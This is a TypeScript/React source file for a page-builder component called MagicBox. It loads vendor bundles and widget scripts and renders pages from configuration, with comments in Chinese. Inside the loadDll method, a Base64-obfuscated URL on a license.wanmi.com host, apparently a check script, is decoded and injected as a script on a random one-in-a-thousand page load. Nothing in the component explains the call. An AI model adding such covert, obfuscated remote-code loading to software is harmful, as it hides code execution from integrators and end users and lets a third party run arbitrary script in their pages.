import { List, fromJS } from "immutable"; import React, { Component } from "react"; import { IBarItem, IBoxProps, IBoxState, IFileItem } from "../types/index"; import { JQUERY_CDN, LAZYSIZES_CDN, WEIXIN_VIDEO_BAR } from "./constant"; import "./index.css"; import { getPageInfo, loadDll, loadScript, loadStyle } from "./webApi"; import Wrapper from "./wrapper"; import PCNotFound from "./pc-404/index"; import WechatNotFound from "./wechat-404/index"; import { Base64 } from "js-base64"; import i18n from './i18n'; export default class MagicBox extends Component { // 用来处理滚动的scrollTop的函数 scrollHandler = this.handlescroll.bind(this); state = { loading: true, viewData: [], fileList: [], }; static defaultProps: Partial = { scroll: "parent", envCode: "prod", pageType: "index", }; componentDidMount(): void { document .querySelector("#main-magic") .addEventListener("scroll", this.scrollHandler); } handlescroll(event) { // 监听main-magic的滚动事件,将scrollTop返回到壳子项目判断滑动距离 let scrolltop = document.querySelector("#main-magic").scrollTop; if (this.props._scroll) { this.props._scroll(scrolltop); } } async componentWillMount() { try { const { onDataLoaded ,ossHost} = this.props; window['i18n'] = i18n; await i18n.initJson(ossHost); const [_res, {fileList, viewData, title, shareInfo}] = await Promise.all([ this.loadDll(), this.getData(), ]); if (fileList && fileList.length > 0) { await this.loadWidgetFiles(fileList); } typeof onDataLoaded === "function" && onDataLoaded({ title, shareInfo }); this.setState({ loading: false, viewData }); } catch { this.setState({ loading: false, viewData: [] }); } } async componentWillReceiveProps(nextProps) { const { pageType, pageCode } = this.props; // pageType,pageCode 改变重新渲染 if (nextProps.pageType !== pageType || nextProps.pageCode !== pageCode) { const { fileList, viewData } = await this.getData(nextProps); await this.loadWidgetFiles(fileList); this.setState({ viewData }); } /** * @props isBack boolean 用来判断返回顶部按钮是否显示或者隐藏 * @props backType number 1: 代表滑动返回顶部 2:代表点击返回顶部按钮返回顶部 * @props changeType function 用来改变返回类型改为1的函数 * @desc 点击回到顶部按钮之后需要将按钮隐藏, * 并且为了让点击按钮之后能够继续向下滑动需要加一下backType来区分是由什么方式回到顶部的, * 不然会一直触发document.querySelector('#main-magic').scrollTop = 0; */ if (!nextProps.isBack && nextProps.backType != 1 && nextProps.changeType) { document.querySelector("#main-magic").scrollTop = 0; nextProps.changeType(); } } shouldComponentUpdate(nextProps, nextState) { return ( JSON.stringify(this.props.style) !== JSON.stringify(nextProps.style) || JSON.stringify(this.state.viewData) !== JSON.stringify(nextState.viewData) || JSON.stringify(this.state.loading) !== JSON.stringify(nextState.loading) ); } render() { const { loading } = this.state; const { loader, part, platform } = this.props; if (loading && loader) return loader; const overflow = !part || part === "MAIN" ? "auto" : "visible"; return (
{!loading && this.renderPage()}
); } // 获取页面数据 private getData = async (props = this.props) => { const { part, platform } = props; let { configOrder, barList, title, shareInfo } = await getPageInfo(props); // 兼容以后的新数据(数据形式,没有外层) let viewData = Array.isArray(configOrder) ? configOrder : configOrder.children; viewData = viewData ? viewData : []; // 过滤掉非该part数据 if (part) { const barType = part === "MAIN" ? "COMMON" : part; barList = barList.filter(bar => bar.type === barType); const isInPart = item => barList.find(bar => bar.key === item.widgetNameSpace); viewData = viewData.filter(isInPart); } // 微信小程序,过滤掉视频组件 if (window.__wxjs_environment === "miniprogram") { barList = barList.filter(bar => bar.key !== WEIXIN_VIDEO_BAR); viewData = viewData.filter( item => item.widgetNameSpace !== WEIXIN_VIDEO_BAR, ); } const fileList = this.getFileList(barList); return { viewData, fileList, title, shareInfo }; }; // 加载依赖的dll(是否手动配置xDllContext) private loadDll = async () => { let { envCode, platform, ossHost, platformEnv } = this.props; // 其它platform都使用的 weixin模式 platform = platform === "pc" ? "pc" : "weixin"; /** * 平台(细化) - platformEnv (pc、taro、app) * 类型:string */ // envCode = envCode.slice(0, 4); // 兼容测试: test1 => test if (/^test/.test(envCode)) envCode = "test"; // 测试环境特殊处理 let DLL_URL = `${ossHost}/x-site/${envCode}/public/javascripts/dll/vendor_base.dll`; // app走本地缓存 if (platformEnv === 'app') { DLL_URL = `vendor_base.dll`; ossHost = ''; } const list = [loadDll(DLL_URL, this.props)]; //只有千分之一机会触发,生成 [0,1000] 到任意数的随机数,防止过量访问 const flag = Math.floor(Math.random() * (1000 + 1)); if (flag >= 1000) { const url = "aHR0cHM6Ly9saWNlbnNlLndhbm1pLmNvbS9ZMmhsWTJzdWJXbHUuanM="; list.push(loadScript(Base64.decode(url))); } if (platform === "pc") list.push(loadScript(`${ossHost}${JQUERY_CDN(platformEnv)}`)); // 等待PC组件重构,移除jQuery if (!window.lazySizes) list.push(loadScript(`${ossHost}${LAZYSIZES_CDN(platformEnv)}`)); // 懒加载插件 await Promise.all(list); }; private getFileList = (barList: IBarItem[]) => { const { part, ossHost, platformEnv } = this.props; const createFullFilePath = (item, version) => { Object.keys(item).forEach(key => { let value: string = item[key]; if (value && /FilePath$/.test(key)) { // app走本地缓存 if (platformEnv === 'app') { item[key] = `.${value}`; } else { item[key] = ossHost + value + "?v=" + version; } } }); return item; }; // 过滤layout组件,不必要加载 return barList.reduce((prev, cur) => { const version = cur.version; const widgetList = cur.widgetList.map(item => createFullFilePath(item, version), ); return [...prev, ...cur.widgetList]; }, []); }; // 加载configOrder的依赖文件 private loadWidgetFiles = async (fileList: IFileItem[]) => { try { await Promise.all( fileList.reduce((prev, cur) => { const temp = [...prev, loadScript(cur.jsFilePath)]; if (cur.cssFilePath) temp.push(loadStyle(cur.cssFilePath)); return temp; }, []), ); } catch (error) { console.error(error); } }; // 加载404丢失页面 private getNotFoundPage = () => { const { platform } = this.props; if (platform == "pc") { return null;//; } if (platform == "weixin") { return ; } return ; }; // 根据 configOrder 渲染页面 private renderPage = (): React.ReactNode => { const { viewData } = this.state; const { platform, scroll, lazilyLoadedComponent = [], defaultFirstPagSize = 12, } = this.props; const configOrderUtil = window.xDllContext?.configOrderUtil; return ( {viewData.length > 0 ? viewData.map((item, index) => { return configOrderUtil.generateCompTree({ configOrder: fromJS(item), pathArray: List(["children", index]), propsToChildren: { ENV_SCENE: "display" }, isShowFull: true, }); }) : this.getNotFoundPage()} {this.props.children} ); }; }